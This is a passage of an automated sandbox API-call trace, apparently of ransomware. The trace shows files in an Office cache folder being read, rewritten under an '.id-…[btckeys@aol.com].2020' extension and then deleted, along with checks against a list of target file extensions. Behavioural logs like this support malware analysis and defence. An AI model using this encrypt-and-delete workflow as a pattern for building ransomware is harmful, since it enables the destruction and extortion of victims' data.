nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.517] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0081.517] WriteFile (in: hFile=0x218, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.520] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0081.520] CloseHandle (hObject=0x218) returned 1 [0081.520] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0081.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.520] lstrlenW (lpString=".doc") returned 4 [0081.520] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0081.521] lstrlenW (lpString=".docx") returned 5 [0081.521] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0081.521] lstrlenW (lpString=".pdf") returned 4 [0081.521] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0081.521] lstrlenW (lpString=".xls") returned 4 [0081.521] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0081.521] lstrlenW (lpString=".xlsx") returned 5 [0081.521] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0081.521] lstrlenW (lpString=".ppt") returned 4 [0081.521] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0081.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.521] lstrlenW (lpString=".zip") returned 4 [0081.521] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0081.521] lstrlenW (lpString=".rar") returned 4 [0081.521] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0081.521] lstrlenW (lpString=".bz2") returned 4 [0081.521] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0081.521] lstrlenW (lpString=".7z") returned 3 [0081.521] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0081.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.521] lstrlenW (lpString=".dbf") returned 4 [0081.521] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0081.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.521] lstrlenW (lpString=".1cd") returned 4 [0081.521] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0081.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.521] lstrlenW (lpString=".jpg") returned 4 [0081.521] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0081.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.523] lstrlenW (lpString=".doc") returned 4 [0081.523] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0081.523] lstrlenW (lpString=".docx") returned 5 [0081.523] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0081.523] lstrlenW (lpString=".pdf") returned 4 [0081.523] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0081.523] lstrlenW (lpString=".xls") returned 4 [0081.523] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0081.523] lstrlenW (lpString=".xlsx") returned 5 [0081.523] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0081.523] lstrlenW (lpString=".ppt") returned 4 [0081.524] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0081.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.524] lstrlenW (lpString=".zip") returned 4 [0081.524] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0081.524] lstrlenW (lpString=".rar") returned 4 [0081.524] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0081.524] lstrlenW (lpString=".bz2") returned 4 [0081.524] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0081.524] lstrlenW (lpString=".7z") returned 3 [0081.524] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0081.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.524] lstrlenW (lpString=".dbf") returned 4 [0081.524] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0081.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.524] lstrlenW (lpString=".1cd") returned 4 [0081.524] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0081.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.524] lstrlenW (lpString=".jpg") returned 4 [0081.524] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0081.524] lstrcmpiW (lpString1=".xrm-ms", lpString2=".2020") returned 1 [0081.524] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0081.524] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0081.525] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=715834) returned 1 [0081.525] CloseHandle (hObject=0x218) returned 1 [0081.525] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0081.525] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.525] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0081.525] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.525] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.526] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.526] GetLastError () returned 0x0 [0081.526] ReadFile (in: hFile=0x218, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0081.587] WriteFile (in: hFile=0x200, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0081.968] ReadFile (in: hFile=0x218, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x0, lpOverlapped=0x0) returned 1 [0081.968] WriteFile (in: hFile=0x200, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0x104, lpOverlapped=0x0) returned 1 [0081.969] SetEndOfFile (hFile=0x200) returned 1 [0081.969] CloseHandle (hObject=0x200) returned 1 [0081.969] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.969] SetEndOfFile (hFile=0x218) returned 1 [0081.978] CloseHandle (hObject=0x218) returned 1 [0081.978] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0081.978] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0081.978] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.978] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.978] lstrlenW (lpString=".doc") returned 4 [0081.978] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0081.979] lstrlenW (lpString=".docx") returned 5 [0081.979] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0081.979] lstrlenW (lpString=".pdf") returned 4 [0081.979] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0081.979] lstrlenW (lpString=".xls") returned 4 [0081.979] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0081.979] lstrlenW (lpString=".xlsx") returned 5 [0081.979] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0081.979] lstrlenW (lpString=".ppt") returned 4 [0081.979] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0081.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.979] lstrlenW (lpString=".zip") returned 4 [0081.979] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0081.979] lstrlenW (lpString=".rar") returned 4 [0081.979] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0081.979] lstrlenW (lpString=".bz2") returned 4 [0081.979] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0081.979] lstrlenW (lpString=".7z") returned 3 [0081.979] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0081.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.979] lstrlenW (lpString=".dbf") returned 4 [0081.979] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0081.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.979] lstrlenW (lpString=".1cd") returned 4 [0081.979] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0081.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.979] lstrlenW (lpString=".jpg") returned 4 [0081.980] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0081.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.980] lstrlenW (lpString=".doc") returned 4 [0081.980] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0081.980] lstrlenW (lpString=".docx") returned 5 [0081.980] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0081.980] lstrlenW (lpString=".pdf") returned 4 [0081.980] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0081.980] lstrlenW (lpString=".xls") returned 4 [0081.980] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0081.980] lstrlenW (lpString=".xlsx") returned 5 [0081.980] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0081.980] lstrlenW (lpString=".ppt") returned 4 [0081.980] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0081.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.980] lstrlenW (lpString=".zip") returned 4 [0081.980] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0081.980] lstrlenW (lpString=".rar") returned 4 [0081.980] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0081.980] lstrlenW (lpString=".bz2") returned 4 [0081.980] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0081.980] lstrlenW (lpString=".7z") returned 3 [0081.980] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0081.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.980] lstrlenW (lpString=".dbf") returned 4 [0081.981] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0081.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.981] lstrlenW (lpString=".1cd") returned 4 [0081.981] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0081.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.981] lstrlenW (lpString=".jpg") returned 4 [0081.981] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0081.981] lstrcmpiW (lpString1=".exe", lpString2=".2020") returned 1 [0081.981] lstrlenW (lpString="setup.exe") returned 9 [0081.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 12 os_tid = 0x618 [0060.794] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x570720 [0060.795] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x580728 [0060.795] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500338 [0060.795] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x503098 [0060.795] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500350 [0060.795] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3750020 [0060.795] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500368 [0060.796] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500368, Size=0x20) returned 0x52f910 [0060.796] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500368 [0060.796] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500368, Size=0x20) returned 0x52f938 [0060.796] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0060.796] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0060.796] Wow64DisableWow64FsRedirection (in: OldValue=0x2caff58 | out: OldValue=0x2caff58*=0x0) returned 1 [0060.796] lstrlenW (lpString="kernel32.dll") returned 12 [0060.796] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f910 | out: hHeap=0x4b0000) returned 1 [0060.796] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.796] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f938 | out: hHeap=0x4b0000) returned 1 [0060.796] Sleep (dwMilliseconds=0x64) [0061.027] Sleep (dwMilliseconds=0x64) [0061.387] Sleep (dwMilliseconds=0x64) [0062.384] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.384] lstrlenW (lpString="Setup.xml") returned 9 [0062.384] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0062.439] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=2296) returned 1 [0062.439] CloseHandle (hObject=0x168) returned 1 [0062.439] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.439] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.439] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0062.439] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0062.439] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0062.439] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0062.441] GetLastError () returned 0x0 [0062.441] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x8f8, lpOverlapped=0x0) returned 1 [0062.451] WriteFile (in: hFile=0x178, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x900, lpOverlapped=0x0) returned 1 [0062.452] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0062.452] WriteFile (in: hFile=0x178, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.452] SetEndOfFile (hFile=0x178) returned 1 [0062.452] CloseHandle (hObject=0x178) returned 1 [0062.453] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0062.453] SetEndOfFile (hFile=0x168) returned 1 [0062.454] CloseHandle (hObject=0x168) returned 1 [0062.454] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0062.454] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0062.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.455] lstrlenW (lpString=".doc") returned 4 [0062.455] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.455] lstrlenW (lpString=".docx") returned 5 [0062.455] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.455] lstrlenW (lpString=".pdf") returned 4 [0062.455] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.455] lstrlenW (lpString=".xls") returned 4 [0062.455] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.455] lstrlenW (lpString=".xlsx") returned 5 [0062.455] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.455] lstrlenW (lpString=".ppt") returned 4 [0062.455] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.455] lstrlenW (lpString=".zip") returned 4 [0062.455] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.455] lstrlenW (lpString=".rar") returned 4 [0062.455] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.455] lstrlenW (lpString=".bz2") returned 4 [0062.455] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.455] lstrlenW (lpString=".7z") returned 3 [0062.455] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.455] lstrlenW (lpString=".dbf") returned 4 [0062.455] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.455] lstrlenW (lpString=".1cd") returned 4 [0062.455] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.455] lstrlenW (lpString=".jpg") returned 4 [0062.455] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.456] lstrlenW (lpString=".doc") returned 4 [0062.456] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.456] lstrlenW (lpString=".docx") returned 5 [0062.456] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.456] lstrlenW (lpString=".pdf") returned 4 [0062.456] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.456] lstrlenW (lpString=".xls") returned 4 [0062.456] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.456] lstrlenW (lpString=".xlsx") returned 5 [0062.456] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.456] lstrlenW (lpString=".ppt") returned 4 [0062.456] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.456] lstrlenW (lpString=".zip") returned 4 [0062.456] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.456] lstrlenW (lpString=".rar") returned 4 [0062.456] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.456] lstrlenW (lpString=".bz2") returned 4 [0062.456] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.456] lstrlenW (lpString=".7z") returned 3 [0062.456] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.456] lstrlenW (lpString=".dbf") returned 4 [0062.456] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.456] lstrlenW (lpString=".1cd") returned 4 [0062.456] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.456] lstrlenW (lpString=".jpg") returned 4 [0062.456] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.456] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.457] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0062.457] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0062.458] GetFileSizeEx (in: 